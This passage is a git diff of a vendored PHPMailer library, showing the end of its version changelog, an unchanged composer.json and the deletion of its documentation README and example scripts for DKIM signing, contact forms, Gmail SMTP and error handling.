08 2007), interim release -* dramatically simplified using inline graphics ... it's fully automated and requires no user input -* added automatic document type detection for attachments and pictures -* added MsgHTML() function to replace Body tag for HTML emails -* fixed the SendMail security issues (input validation vulnerability) -* enhanced the AddAddresses functionality so that the "Name" portion is used in the email address -* removed the need to use the AltBody method (set from the HTML, or default text used) -* set the PHP Mail() function as the default (still support SendMail, SMTP Mail) -* removed the need to set the IsHTML property (set automatically) -* added Estonian language file by Indrek Päri -* added header injection patch -* added "set" method to permit users to create their own pseudo-properties like 'X-Headers', etc. -* fixed warning message in SMTP get_lines method -* added TLS/SSL SMTP support. -* PHPMailer has been tested with PHP4 (4.4.7) and PHP5 (5.2.7) -* Works with PHP installed as a module or as CGI-PHP -NOTE: will NOT work with PHP5 in E_STRICT error mode - -## Version 1.73 (Sun, Jun 10 2005) -* Fixed denial of service bug: http://www.cybsec.com/vuln/PHPMailer-DOS.pdf -* Now has a total of 20 translations -* Fixed alt attachments bug: http://tinyurl.com/98u9k - -## Version 1.72 (Wed, May 25 2004) -* Added Dutch, Swedish, Czech, Norwegian, and Turkish translations. -* Received: Removed this method because spam filter programs like - SpamAssassin reject this header. -* Fixed error count bug. -* SetLanguage default is now "language/". -* Fixed magic_quotes_runtime bug. - -## Version 1.71 (Tue, Jul 28 2003) -* Made several speed enhancements -* Added German and Italian translation files -* Fixed HELO/AUTH bugs on keep-alive connects -* Now provides an error message if language file does not load -* Fixed attachment EOL bug -* Updated some unclear documentation -* Added additional tests and improved others - -## Version 1.70 (Mon, Jun 20 2003) -* Added SMTP keep-alive support -* Added IsError method for error detection -* Added error message translation support (SetLanguage) -* Refactored many methods to increase library performance -* Hello now sends the newer EHLO message before HELO as per RFC 2821 -* Removed the boundary class and replaced it with GetBoundary -* Removed queue support methods -* New $Hostname variable -* New Message-ID header -* Received header reformat -* Helo variable default changed to $Hostname -* Removed extra spaces in Content-Type definition (#667182) -* Return-Path should be set to Sender when set -* Adds Q or B encoding to headers when necessary -* quoted-encoding should now encode NULs \000 -* Fixed encoding of body/AltBody (#553370) -* Adds "To: undisclosed-recipients:;" when all recipients are hidden (BCC) -* Multiple bug fixes - -## Version 1.65 (Fri, Aug 09 2002) -* Fixed non-visible attachment bug (#585097) for Outlook -* SMTP connections are now closed after each transaction -* Fixed SMTP::Expand return value -* Converted SMTP class documentation to phpDocumentor format - -## Version 1.62 (Wed, Jun 26 2002) -* Fixed multi-attach bug -* Set proper word wrapping -* Reduced memory use with attachments -* Added more debugging -* Changed documentation to phpDocumentor format - -## Version 1.60 (Sat, Mar 30 2002) -* Sendmail pipe and address patch (Christian Holtje) -* Added embedded image and read confirmation support (A. Ognio) -* Added unit tests -* Added SMTP timeout support (*nix only) -* Added possibly temporary PluginDir variable for SMTP class -* Added LE message line ending variable -* Refactored boundary and attachment code -* Eliminated SMTP class warnings -* Added SendToQueue method for future queuing support - -## Version 1.54 (Wed, Dec 19 2001) -* Add some queuing support code -* Fixed a pesky multi/alt bug -* Messages are no longer forced to have "To" addresses - -## Version 1.50 (Thu, Nov 08 2001) -* Fix extra lines when not using SMTP mailer -* Set WordWrap variable to int with a zero default - -## Version 1.47 (Tue, Oct 16 2001) -* Fixed Received header code format -* Fixed AltBody order error -* Fixed alternate port warning - -## Version 1.45 (Tue, Sep 25 2001) -* Added enhanced SMTP debug support -* Added support for multiple ports on SMTP -* Added Received header for tracing -* Fixed AddStringAttachment encoding -* Fixed possible header name quote bug -* Fixed wordwrap() trim bug -* Couple other small bug fixes - -## Version 1.41 (Wed, Aug 22 2001) -* Fixed AltBody bug w/o attachments -* Fixed rfc_date() for certain mail servers - -## Version 1.40 (Sun, Aug 12 2001) -* Added multipart/alternative support (AltBody) -* Documentation update -* Fixed bug in Mercury MTA - -## Version 1.29 (Fri, Aug 03 2001) -* Added AddStringAttachment() method -* Added SMTP authentication support - -## Version 1.28 (Mon, Jul 30 2001) -* Fixed a typo in SMTP class -* Fixed header issue with Imail (win32) SMTP server -* Made fopen() calls for attachments use "rb" to fix win32 error - -## Version 1.25 (Mon, Jul 02 2001) -* Added RFC 822 date fix (Patrice) -* Added improved error handling by adding a $ErrorInfo variable -* Removed MailerDebug variable (obsolete with new error handler) - -## Version 1.20 (Mon, Jun 25 2001) -* Added quoted-printable encoding (Patrice) -* Set Version as public and removed PrintVersion() -* Changed phpdoc to only display public variables and methods - -## Version 1.19 (Thu, Jun 21 2001) -* Fixed MS Mail header bug -* Added fix for Bcc problem with mail(). *Does not work on Win32* - (See PHP bug report: http://www.php.net/bugs.php?id=11616) -* mail() no longer passes a fifth parameter when not needed - -## Version 1.15 (Fri, Jun 15 2001) -Note: these changes contributed by Patrice Fournier -* Changed all remaining \n to \r\n -* Bcc: header no longer written to message except - when sent directly to sendmail -* Added a small message to non-MIME compliant mail reader -* Added Sender variable to change the Sender email - used in -f for sendmail/mail and in 'MAIL FROM' for smtp mode -* Changed boundary setting to a place it will be set only once -* Removed transfer encoding for whole message when using multipart -* Message body now uses Encoding in multipart messages -* Can set encoding and type to attachments 7bit, 8bit - and binary attachment are sent as is, base64 are encoded -* Can set Encoding to base64 to send 8 bits body - through 7 bits servers - -## Version 1.10 (Tue, Jun 12 2001) -* Fixed win32 mail header bug (printed out headers in message body) - -## Version 1.09 (Fri, Jun 08 2001) -* Changed date header to work with Netscape mail programs -* Altered phpdoc documentation - -## Version 1.08 (Tue, Jun 05 2001) -* Added enhanced error-checking -* Added phpdoc documentation to source - -## Version 1.06 (Fri, Jun 01 2001) -* Added optional name for file attachments - -## Version 1.05 (Tue, May 29 2001) -* Code cleanup -* Eliminated sendmail header warning message -* Fixed possible SMTP error - -## Version 1.03 (Thu, May 24 2001) -* Fixed problem where qmail sends out duplicate messages - -## Version 1.02 (Wed, May 23 2001) -* Added multiple recipient and attachment Clear* methods -* Added Sendmail public variable -* Fixed problem with loading SMTP library multiple times - -## Version 0.98 (Tue, May 22 2001) -* Fixed problem with redundant mail hosts sending out multiple messages -* Added additional error handler code -* Added AddCustomHeader() function -* Added support for Microsoft mail client headers (affects priority) -* Fixed small bug with Mailer variable -* Added PrintVersion() function - -## Version 0.92 (Tue, May 15 2001) -* Changed file names to class.phpmailer.php and class.smtp.php to match - current PHP class trend. -* Fixed problem where body not being printed when a message is attached -* Several small bug fixes - -## Version 0.90 (Tue, April 17 2001) -* Initial public release diff --git a/vendor/phpmailer/phpmailer/composer.json b/vendor/phpmailer/phpmailer/composer.json index 74d5a2ed74..28557f59dd 100644 --- a/vendor/phpmailer/phpmailer/composer.json +++ b/vendor/phpmailer/phpmailer/composer.json @@ -1,71 +1,71 @@ -{ - "name": "phpmailer/phpmailer", - "type": "library", - "description": "PHPMailer is a full-featured email creation and transfer class for PHP", - "authors": [ - { - "name": "Marcus Bointon", - "email": "phpmailer@synchromedia.co.uk" - }, - { - "name": "Jim Jagielski", - "email": "jimjag@gmail.com" - }, - { - "name": "Andy Prevost", - "email": "codeworxtech@users.sourceforge.net" - }, - { - "name": "Brent R. Matzelle" - } - ], - "funding": [ - { - "url": "https://github.com/Synchro", - "type": "github" - } - ], - "require": { - "php": ">=5.5.0", - "ext-ctype": "*", - "ext-filter": "*", - "ext-hash": "*" - }, - "require-dev": { - "dealerdirect/phpcodesniffer-composer-installer": "^0.7.0", - "doctrine/annotations": "^1.2", - "php-parallel-lint/php-console-highlighter": "^0.5.0", - "php-parallel-lint/php-parallel-lint": "^1.3", - "phpcompatibility/php-compatibility": "^9.3.5", - "roave/security-advisories": "dev-latest", - "squizlabs/php_codesniffer": "^3.6.0", - "yoast/phpunit-polyfills": "^1.0.0" - }, - "suggest": { - "ext-mbstring": "Needed to send email in multibyte encoding charset or decode encoded addresses", - "hayageek/oauth2-yahoo": "Needed for Yahoo XOAUTH2 authentication", - "league/oauth2-google": "Needed for Google XOAUTH2 authentication", - "psr/log": "For optional PSR-3 debug logging", - "stevenmaguire/oauth2-microsoft": "Needed for Microsoft XOAUTH2 authentication", - "symfony/polyfill-mbstring": "To support UTF-8 if the Mbstring PHP extension is not enabled (^1.2)" - }, - "autoload": { - "psr-4": { - "PHPMailer\\PHPMailer\\": "src/" - } - }, - "autoload-dev": { - "psr-4": { - "PHPMailer\\Test\\": "test/" - } - }, - "license": "LGPL-2.1-only", - "scripts": { - "check": "./vendor/bin/phpcs", - "test": "./vendor/bin/phpunit --no-coverage", - "coverage": "./vendor/bin/phpunit", - "lint": [ - "@php ./vendor/php-parallel-lint/php-parallel-lint/parallel-lint . -e php,phps --exclude vendor --exclude .git --exclude build" - ] - } -} +{ + "name": "phpmailer/phpmailer", + "type": "library", + "description": "PHPMailer is a full-featured email creation and transfer class for PHP", + "authors": [ + { + "name": "Marcus Bointon", + "email": "phpmailer@synchromedia.co.uk" + }, + { + "name": "Jim Jagielski", + "email": "jimjag@gmail.com" + }, + { + "name": "Andy Prevost", + "email": "codeworxtech@users.sourceforge.net" + }, + { + "name": "Brent R. Matzelle" + } + ], + "funding": [ + { + "url": "https://github.com/Synchro", + "type": "github" + } + ], + "require": { + "php": ">=5.5.0", + "ext-ctype": "*", + "ext-filter": "*", + "ext-hash": "*" + }, + "require-dev": { + "dealerdirect/phpcodesniffer-composer-installer": "^0.7.0", + "doctrine/annotations": "^1.2", + "php-parallel-lint/php-console-highlighter": "^0.5.0", + "php-parallel-lint/php-parallel-lint": "^1.3", + "phpcompatibility/php-compatibility": "^9.3.5", + "roave/security-advisories": "dev-latest", + "squizlabs/php_codesniffer": "^3.6.0", + "yoast/phpunit-polyfills": "^1.0.0" + }, + "suggest": { + "ext-mbstring": "Needed to send email in multibyte encoding charset or decode encoded addresses", + "hayageek/oauth2-yahoo": "Needed for Yahoo XOAUTH2 authentication", + "league/oauth2-google": "Needed for Google XOAUTH2 authentication", + "psr/log": "For optional PSR-3 debug logging", + "stevenmaguire/oauth2-microsoft": "Needed for Microsoft XOAUTH2 authentication", + "symfony/polyfill-mbstring": "To support UTF-8 if the Mbstring PHP extension is not enabled (^1.2)" + }, + "autoload": { + "psr-4": { + "PHPMailer\\PHPMailer\\": "src/" + } + }, + "autoload-dev": { + "psr-4": { + "PHPMailer\\Test\\": "test/" + } + }, + "license": "LGPL-2.1-only", + "scripts": { + "check": "./vendor/bin/phpcs", + "test": "./vendor/bin/phpunit --no-coverage", + "coverage": "./vendor/bin/phpunit", + "lint": [ + "@php ./vendor/php-parallel-lint/php-parallel-lint/parallel-lint . -e php,phps --exclude vendor --exclude .git --exclude build" + ] + } +} diff --git a/vendor/phpmailer/phpmailer/docs/README.md b/vendor/phpmailer/phpmailer/docs/README.md deleted file mode 100644 index 5f18d605cc..0000000000 --- a/vendor/phpmailer/phpmailer/docs/README.md +++ /dev/null @@ -1,9 +0,0 @@ -# PHPMailer Documentation - -Generated documentation for PHPMailer is [available online](https://phpmailer.github.io/PHPMailer/), and is regenerated automatically whenever changes are made. - -Pre-built PHPMailer API documentation is not provided in this repo, but you can generate it by running `phpdoc` in the top-level folder of this project, and documentation will be generated in this `docs` folder. You will need to have [phpDocumentor](https://www.phpdoc.org) installed. The configuration for phpdoc is in the [phpdoc.dist.xml file](https://github.com/PHPMailer/PHPMailer/blob/master/phpdoc.dist.xml). - -Further help and information is available in [the PHPMailer README](https://github.com/PHPMailer/PHPMailer/blob/master/README.md), [the examples folder](https://github.com/PHPMailer/PHPMailer/tree/master/examples), and in [the GitHub wiki](https://github.com/PHPMailer/PHPMailer/wiki). - -Fixes and additions to documentation are welcome - please submit pull requests or improve wiki pages. \ No newline at end of file diff --git a/vendor/phpmailer/phpmailer/examples/DKIM_gen_keys.phps b/vendor/phpmailer/phpmailer/examples/DKIM_gen_keys.phps deleted file mode 100644 index c8eb01f543..0000000000 --- a/vendor/phpmailer/phpmailer/examples/DKIM_gen_keys.phps +++ /dev/null @@ -1,81 +0,0 @@ - 'sha256', - 'private_key_bits' => 2048, - 'private_key_type' => OPENSSL_KEYTYPE_RSA, - ] - ); - //Save private key - openssl_pkey_export_to_file($pk, $privatekeyfile); - //Save public key - $pubKey = openssl_pkey_get_details($pk); - $publickey = $pubKey['key']; - file_put_contents($publickeyfile, $publickey); - $privatekey = file_get_contents($privatekeyfile); -} -echo "Private key (keep this private!):\n\n" . $privatekey; -echo "\n\nPublic key:\n\n" . $publickey; - -//Prepare public key for DNS, e.g. -//phpmailer._domainkey.example.com IN TXT "v=DKIM1; h=sha256; t=s; p=" "MIIBIjANBg...oXlwIDAQAB"... -$dnskey = "$selector._domainkey.$domain IN TXT"; -$dnsvalue = '"v=DKIM1; h=sha256; t=s; p=" '; -//Some DNS servers don't like ;(semi colon) chars unless backslash-escaped -$dnsvalue2 = '"v=DKIM1\; h=sha256\; t=s\; p=" '; - -//Strip and split the key into smaller parts and format for DNS -//Many DNS systems don't like long TXT entries -//but are OK if it's split into 255-char chunks -//Remove PEM wrapper -$publickey = preg_replace('/^-+.*?-+$/m', '', $publickey); -//Strip line breaks -$publickey = str_replace(["\r", "\n"], '', $publickey); -//Split into chunks -$keyparts = str_split($publickey, 253); //Becomes 255 when quotes are included -//Quote each chunk -foreach ($keyparts as $keypart) { - $dnsvalue .= '"' . trim($keypart) . '" '; - $dnsvalue2 .= '"' . trim($keypart) . '" '; -} -echo "\n\nDNS key:\n\n" . trim($dnskey); -echo "\n\nDNS value:\n\n" . trim($dnsvalue); -echo "\n\nDNS value (with escaping):\n\n" . trim($dnsvalue2); diff --git a/vendor/phpmailer/phpmailer/examples/DKIM_sign.phps b/vendor/phpmailer/phpmailer/examples/DKIM_sign.phps deleted file mode 100644 index f7585660bb..0000000000 --- a/vendor/phpmailer/phpmailer/examples/DKIM_sign.phps +++ /dev/null @@ -1,46 +0,0 @@ -setFrom('from@example.com', 'First Last'); -$mail->addAddress('whoto@example.com', 'John Doe'); -$mail->Subject = 'PHPMailer mail() test'; -$mail->msgHTML(file_get_contents('contents.html'), __DIR__); - -//This should be the same as the domain of your From address -$mail->DKIM_domain = 'example.com'; -//See the DKIM_gen_keys.phps script for making a key pair - -//here we assume you've already done that. -//Path to your private key: -$mail->DKIM_private = 'dkim_private.pem'; -//Set this to your own selector -$mail->DKIM_selector = 'phpmailer'; -//Put your private key's passphrase in here if it has one -$mail->DKIM_passphrase = ''; -//The identity you're signing as - usually your From address -$mail->DKIM_identity = $mail->From; -//Suppress listing signed header fields in signature, defaults to true for debugging purpose -$mail->DKIM_copyHeaderFields = false; -//Optionally you can add extra headers for signing to meet special requirements -$mail->DKIM_extraHeaders = ['List-Unsubscribe', 'List-Help']; - -//When you send, the DKIM settings will be used to sign the message -if (!$mail->send()) { - echo 'Mailer Error: ' . $mail->ErrorInfo; -} else { - echo 'Message sent!'; -} diff --git a/vendor/phpmailer/phpmailer/examples/README.md b/vendor/phpmailer/phpmailer/examples/README.md deleted file mode 100644 index 3bf972f42b..0000000000 --- a/vendor/phpmailer/phpmailer/examples/README.md +++ /dev/null @@ -1,95 +0,0 @@ -[![PHPMailer logo](images/phpmailer.png)](https://github.com/PHPMailer/PHPMailer) -# PHPMailer code examples - -This folder contains a collection of examples of using [PHPMailer](https://github.com/PHPMailer/PHPMailer). - -## About testing email sending - -When working on email sending code you'll find yourself worrying about what might happen if all these test emails got sent to your mailing list. The solution is to use a fake mail server, one that acts just like the real thing, but just doesn't actually send anything out. Some offer web interfaces, feedback, logging, the ability to return specific error codes, all things that are useful for testing error handling, authentication etc. Here's a selection of mail testing tools you might like to try: - -* [FakeEmail](https://github.com/tomwardill/FakeEmail), a Python-based fake mail server with a web interface. -* [smtp-sink](http://www.postfix.org/smtp-sink.1.html), part of the Postfix mail server, so you may have this installed already. This is used in the Travis-CI configuration to run PHPMailer's unit tests. -* [smtp4dev](https://github.com/rnwood/smtp4dev), a dummy SMTP server for Windows and Linux. -* [fakesendmail.sh](https://github.com/PHPMailer/PHPMailer/blob/master/test/fakesendmail.sh), part of PHPMailer's test setup, this is a shell script that emulates sendmail for testing 'mail' or 'sendmail' methods in PHPMailer. -* [HELO](https://usehelo.com), a very nice (commercial) mail server desktop app from BeyondCode, and [how to set it up for local testing](https://usehelo.com/blog/how-to-use-helo-with-phps-mail-function). -* [msglint](http://tools.ietf.org/tools/msglint/), not a mail server, the IETF's MIME structure analyser checks the formatting of your messages. -* [MailHog](https://github.com/les-enovateurs/mailhog-examples), a Go-based email testing tool for developers with a web interface. You can use it with Docker and GitHub Actions to test your mails. The repository also contains a small part of PHPMailer's setup. - -Most of these examples use the `example.com` and `example.net` domains. These domains are reserved by IANA for illustrative purposes, as documented in [RFC 2606](http://tools.ietf.org/html/rfc2606). Don't use made-up domains like 'mydomain.com' or 'somedomain.com' in examples as someone, somewhere, probably owns them! - -## Security note -Before running these examples in a web server, you'll need to rename them with '.php' extensions. They are supplied as '.phps' files which will usually be displayed with syntax highlighting by PHP instead of running them. This prevents potential security issues with running potential spam-gateway code if you happen to deploy these code examples on a live site - _please don't do that!_ - -Similarly, don't leave your passwords in these files as they will be visible to the world! - -## [mail.phps](mail.phps) - -This is a basic example which creates an email message from an external HTML file, creates a plain text body, sets various addresses, adds an attachment and sends the message. It uses PHP's built-in mail() function which is the simplest to use, but relies on the presence of a local mail server, something which is not usually available on Windows. If you find yourself in that situation, either install a local mail server, or use a remote one and send using SMTP instead. - -## [simple_contact_form.phps](simple_contact_form.phps) - -This is probably the most common reason for using PHPMailer - building a contact form. This example has a basic, unstyled form and also illustrates how to filter input data before using it, how to validate addresses, how to avoid being abused as a spam gateway, and how to address messages correctly so that you don't fail SPF checks. - -## [exceptions.phps](exceptions.phps) - -Like the mail example, but shows how to use PHPMailer's optional exceptions for error handling. - -## [extending.phps](extending.phps) - -This shows how to create a subclass of PHPMailer to customise its behaviour and simplify coding in your app. - -## [smtp.phps](smtp.phps) - -A simple example sending using SMTP with authentication. - -## [smtp_no_auth.phps](smtp_no_auth.phps) - -A simple example sending using SMTP without authentication. - -## [send_file_upload.phps](send_file_upload.phps) - -Lots of people want to do this... This is a simple form which accepts a file upload and emails it. - -## [send_multiple_file_upload.phps](send_multiple_file_upload.phps) - -A slightly more complex form that allows uploading multiple files at once and sends all of them as attachments to an email. - -## [sendmail.phps](sendmail.phps) - -A simple example using sendmail. Sendmail is a program (usually found on Linux/BSD, OS X and other UNIX-alikes) that can be used to submit messages to a local mail server without a lengthy SMTP conversation. It's probably the fastest sending mechanism, but lacks some error reporting features. There are sendmail emulators for most popular mail servers including postfix, qmail, exim etc. - -## [gmail.phps](gmail.phps) - -Submitting email via Google's Gmail service is a popular use of PHPMailer. It's much the same as normal SMTP sending, just with some specific settings, namely using TLS encryption, authentication is enabled, and it connects to the SMTP submission port 587 on the smtp.gmail.com host. This example does all that. - -## [gmail_xoauth.phps](gmail_xoauth.phps) - -Gmail now likes you to use XOAUTH2 for SMTP authentication. This is extremely laborious to set up, but once it's done you can use it repeatedly and will no longer need Gmail's ineptly-named "Allow less secure apps" setting enabled. [Read the guide in the wiki](https://github.com/PHPMailer/PHPMailer/wiki/Using-Gmail-with-XOAUTH2) for how to set it up. - -## [pop_before_smtp.phps](pop_before_smtp.phps) - -Back in the stone age, before effective SMTP authentication mechanisms were available, it was common for ISPs to use POP-before-SMTP authentication. As it implies, you authenticate using the POP3 protocol (an older protocol now mostly replaced by the far superior IMAP), and then the SMTP server will allow send access from your IP address for a short while, usually 5-15 minutes. PHPMailer includes a basic POP3 protocol client with just enough functionality to carry out this sequence - it's just like a normal SMTP conversation (without authentication), but connects via POP3 first. - -## [mailing_list.phps](mailing_list.phps) - -This is a somewhat naïve, but reasonably efficient example of sending similar emails to a list of different addresses. It sets up a PHPMailer instance using SMTP, then connects to a MySQL database to retrieve a list of recipients. The code loops over this list, sending email to each person using their info and marks them as sent in the database. It makes use of SMTP keepalive which saves reconnecting and re-authenticating between each message. - -## [ssl_options.phps](ssl_options.phps) - -PHP 5.6 introduced SSL certificate verification by default, and this applies to mail servers exactly as it does to web servers. Unfortunately, SSL misconfiguration in mail servers is quite common, so this caused a common problem: those that were previously using servers with bad configs suddenly found they stopped working when they upgraded PHP. PHPMailer provides a mechanism to disable SSL certificate verification as a workaround and this example shows how to do it. Bear in mind that this is **not** a good approach - the right way is to fix your mail server config! - -## [smime_signed_mail.phps](smime_signed_mail.phps) - -An example of how to sign messages using [S/MIME](https://en.wikipedia.org/wiki/S/MIME), ensuring that your data can't be tampered with in transit, and proves to recipients that it was you that sent it. - -* * * - -## [smtp_check.phps](smtp_check.phps) - -This is an example showing how to use the SMTP class by itself (without PHPMailer) to check an SMTP connection. - -## [smtp_low_memory.phps](smtp_low_memory.phps) - -This demonstrates how to extend the SMTP class and make PHPMailer use it. In this case it's an effort to make the SMTP class use less memory when sending large attachments. - -* * * diff --git a/vendor/phpmailer/phpmailer/examples/callback.phps b/vendor/phpmailer/phpmailer/examples/callback.phps deleted file mode 100644 index 0fc0127388..0000000000 --- a/vendor/phpmailer/phpmailer/examples/callback.phps +++ /dev/null @@ -1,76 +0,0 @@ -\n"; - } - foreach ($cc as $address) { - echo "Message CC to {$address[1]} <{$address[0]}>\n"; - } - foreach ($bcc as $toaddress) { - echo "Message BCC to {$toaddress[1]} <{$toaddress[0]}>\n"; - } - if ($result) { - echo "Message sent successfully\n"; - } else { - echo "Message send failed\n"; - } -} - -require_once '../vendor/autoload.php'; - -$mail = new PHPMailer(); - -try { - $mail->isMail(); - $mail->setFrom('you@example.com', 'Your Name'); - $mail->addAddress('jane@example.com', 'Jane Doe'); - $mail->addCC('john@example.com', 'John Doe'); - $mail->Subject = 'PHPMailer Test Subject'; - $mail->msgHTML(file_get_contents('../examples/contents.html')); - //Optional - msgHTML will create an alternate automatically - $mail->AltBody = 'To view the message, please use an HTML compatible email viewer!'; - $mail->addAttachment('images/phpmailer_mini.png'); - $mail->action_function = 'callbackAction'; - $mail->send(); -} catch (Exception $e) { - echo $e->errorMessage(); -} - -//Alternative approach using a closure -try { - $mail->action_function = static function ($result, $to, $cc, $bcc, $subject, $body) { - if ($result) { - echo "Message sent successfully\n"; - } else { - echo "Message send failed\n"; - } - }; - $mail->send(); -} catch (Exception $e) { - echo $e->errorMessage(); -} diff --git a/vendor/phpmailer/phpmailer/examples/contactform-ajax.phps b/vendor/phpmailer/phpmailer/examples/contactform-ajax.phps deleted file mode 100644 index c8c8a262d4..0000000000 --- a/vendor/phpmailer/phpmailer/examples/contactform-ajax.phps +++ /dev/null @@ -1,146 +0,0 @@ -isSMTP(); - $mail->Host = 'localhost'; - $mail->Port = 25; - - //Use a fixed address in your own domain as the from address - //**DO NOT** use the submitter's address here as it will be forgery - //and will cause your messages to fail SPF checks - $mail->setFrom('from@example.com', 'First Last'); - //Choose who the message should be sent to - //You don't have to use a
                              -
                              -
                              - -
                              - - - - - - diff --git a/vendor/phpmailer/phpmailer/examples/contactform.phps b/vendor/phpmailer/phpmailer/examples/contactform.phps deleted file mode 100644 index 9f36773541..0000000000 --- a/vendor/phpmailer/phpmailer/examples/contactform.phps +++ /dev/null @@ -1,95 +0,0 @@ -isSMTP(); - $mail->Host = 'localhost'; - $mail->Port = 25; - - //Use a fixed address in your own domain as the from address - //**DO NOT** use the submitter's address here as it will be forgery - //and will cause your messages to fail SPF checks - $mail->setFrom('from@example.com', 'First Last'); - //Choose who the message should be sent to - //You don't have to use a
                              -
                              -
                              - -
                              - - - - diff --git a/vendor/phpmailer/phpmailer/examples/contents.html b/vendor/phpmailer/phpmailer/examples/contents.html deleted file mode 100644 index 367d9a5210..0000000000 --- a/vendor/phpmailer/phpmailer/examples/contents.html +++ /dev/null @@ -1,17 +0,0 @@ - - - - - PHPMailer Test - - -
                              -

                              This is a test of PHPMailer.

                              -
                              - PHPMailer rocks -
                              -

                              This example uses HTML.

                              -

                              ISO-8859-1 text:

                              -
                              - - diff --git a/vendor/phpmailer/phpmailer/examples/contentsutf8.html b/vendor/phpmailer/phpmailer/examples/contentsutf8.html deleted file mode 100644 index 46043428ff..0000000000 --- a/vendor/phpmailer/phpmailer/examples/contentsutf8.html +++ /dev/null @@ -1,23 +0,0 @@ - - - - - PHPMailer Test - - -
                              -

                              This is a test of PHPMailer.

                              -
                              - PHPMailer rocks -
                              -

                              This example uses HTML with the UTF-8 unicode charset.

                              -

                              Chinese text: 郵件內容為空

                              -

                              Russian text: Пустое тело сообщения

                              -

                              Armenian text: Հաղորդագրությունը դատարկ է

                              -

                              Czech text: Prázdné tělo zprávy

                              -

                              Emoji: 😂 🦄 💥 📤 📧

                              -

                              Image data URL (base64)#

                              -

                              Image data URL (URL-encoded)#

                              -
                              - - diff --git a/vendor/phpmailer/phpmailer/examples/exceptions.phps b/vendor/phpmailer/phpmailer/examples/exceptions.phps deleted file mode 100644 index 6a7d8600e4..0000000000 --- a/vendor/phpmailer/phpmailer/examples/exceptions.phps +++ /dev/null @@ -1,40 +0,0 @@ -setFrom('from@example.com', 'First Last'); - //Set an alternative reply-to address - $mail->addReplyTo('replyto@example.com', 'First Last'); - //Set who the message is to be sent to - $mail->addAddress('whoto@example.com', 'John Doe'); - //Set the subject line - $mail->Subject = 'PHPMailer Exceptions test'; - //Read an HTML message body from an external file, convert referenced images to embedded, - //and convert the HTML into a basic plain-text alternative body - $mail->msgHTML(file_get_contents('contents.html'), __DIR__); - //Replace the plain text body with one created manually - $mail->AltBody = 'This is a plain-text message body'; - //Attach an image file - $mail->addAttachment('images/phpmailer_mini.png'); - //send the message - //Note that we don't need check the response from this because it will throw an exception if it has trouble - $mail->send(); - echo 'Message sent!'; -} catch (Exception $e) { - echo $e->errorMessage(); //Pretty error messages from PHPMailer -} catch (\Exception $e) { //The leading slash means the Global PHP Exception class will be caught - echo $e->getMessage(); //Boring error messages from anything else! -} diff --git a/vendor/phpmailer/phpmailer/examples/extending.phps b/vendor/phpmailer/phpmailer/examples/extending.phps deleted file mode 100644 index 25d6701b93..0000000000 --- a/vendor/phpmailer/phpmailer/examples/extending.phps +++ /dev/null @@ -1,72 +0,0 @@ -setFrom('joe@example.com', 'Joe User'); - //Send via SMTP - $this->isSMTP(); - //Equivalent to setting `Host`, `Port` and `SMTPSecure` all at once - $this->Host = 'tls://smtp.example.com:587'; - //Set an HTML and plain-text body, import relative image references - $this->msgHTML($body, './images/'); - //Show debug output - $this->SMTPDebug = SMTP::DEBUG_SERVER; - //Inject a new debug output handler - $this->Debugoutput = static function ($str, $level) { - echo "Debug level $level; message: $str\n"; - }; - } - - //Extend the send function - public function send() - { - $this->Subject = '[Yay for me!] ' . $this->Subject; - $r = parent::send(); - echo 'I sent a message with subject ' . $this->Subject; - - return $r; - } -} - -//Now creating and sending a message becomes simpler when you use this class in your app code -try { - //Instantiate your new class, making use of the new `$body` parameter - $mail = new myPHPMailer(true, 'This is the message body'); - //Now you only need to set things that are different from the defaults you defined - $mail->addAddress('jane@example.com', 'Jane User'); - $mail->Subject = 'Here is the subject'; - $mail->addAttachment(__FILE__, 'myPHPMailer.php'); - $mail->send(); //No need to check for errors - the exception handler will do it -} catch (Exception $e) { - //Note that this is catching the PHPMailer Exception class, not the global \Exception type! - echo 'Caught a ' . get_class($e) . ': ' . $e->getMessage(); -} diff --git a/vendor/phpmailer/phpmailer/examples/gmail.phps b/vendor/phpmailer/phpmailer/examples/gmail.phps deleted file mode 100644 index 8c88242329..0000000000 --- a/vendor/phpmailer/phpmailer/examples/gmail.phps +++ /dev/null @@ -1,108 +0,0 @@ -isSMTP(); - -//Enable SMTP debugging -//SMTP::DEBUG_OFF = off (for production use) -//SMTP::DEBUG_CLIENT = client messages -//SMTP::DEBUG_SERVER = client and server messages -$mail->SMTPDebug = SMTP::DEBUG_SERVER; - -//Set the hostname of the mail server -$mail->Host = 'smtp.gmail.com'; -//Use `$mail->Host = gethostbyname('smtp.gmail.com');` -//if your network does not support SMTP over IPv6, -//though this may cause issues with TLS - -//Set the SMTP port number: -// - 465 for SMTP with implicit TLS, a.k.a. RFC8314 SMTPS or -// - 587 for SMTP+STARTTLS -$mail->Port = 465; - -//Set the encryption mechanism to use: -// - SMTPS (implicit TLS on port 465) or -// - STARTTLS (explicit TLS on port 587) -$mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS; - -//Whether to use SMTP authentication -$mail->SMTPAuth = true; - -//Username to use for SMTP authentication - use full email address for gmail -$mail->Username = 'username@gmail.com'; - -//Password to use for SMTP authentication -$mail->Password = 'yourpassword'; - -//Set who the message is to be sent from -//Note that with gmail you can only use your account address (same as `Username`) -//or predefined aliases that you have configured within your account. -//Do not use user-submitted addresses in here -$mail->setFrom('from@example.com', 'First Last'); - -//Set an alternative reply-to address -//This is a good place to put user-submitted addresses -$mail->addReplyTo('replyto@example.com', 'First Last'); - -//Set who the message is to be sent to -$mail->addAddress('whoto@example.com', 'John Doe'); - -//Set the subject line -$mail->Subject = 'PHPMailer GMail SMTP test'; - -//Read an HTML message body from an external file, convert referenced images to embedded, -//convert HTML into a basic plain-text alternative body -$mail->msgHTML(file_get_contents('contents.html'), __DIR__); - -//Replace the plain text body with one created manually -$mail->AltBody = 'This is a plain-text message body'; - -//Attach an image file -$mail->addAttachment('images/phpmailer_mini.png'); - -//send the message, check for errors -if (!$mail->send()) { - echo 'Mailer Error: ' . $mail->ErrorInfo; -} else { - echo 'Message sent!'; - //Section 2: IMAP - //Uncomment these to save your message in the 'Sent Mail' folder. - #if (save_mail($mail)) { - # echo "Message saved!"; - #} -} - -//Section 2: IMAP -//IMAP commands requires the PHP IMAP Extension, found at: https://php.net/manual/en/imap.setup.php -//Function to call which uses the PHP imap_*() functions to save messages: https://php.net/manual/en/book.imap.php -//You can use imap_getmailboxes($imapStream, '/imap/ssl', '*' ) to get a list of available folders or labels, this can -//be useful if you are trying to get this working on a non-Gmail IMAP server. -function save_mail($mail) -{ - //You can change 'Sent Mail' to any other folder or tag - $path = 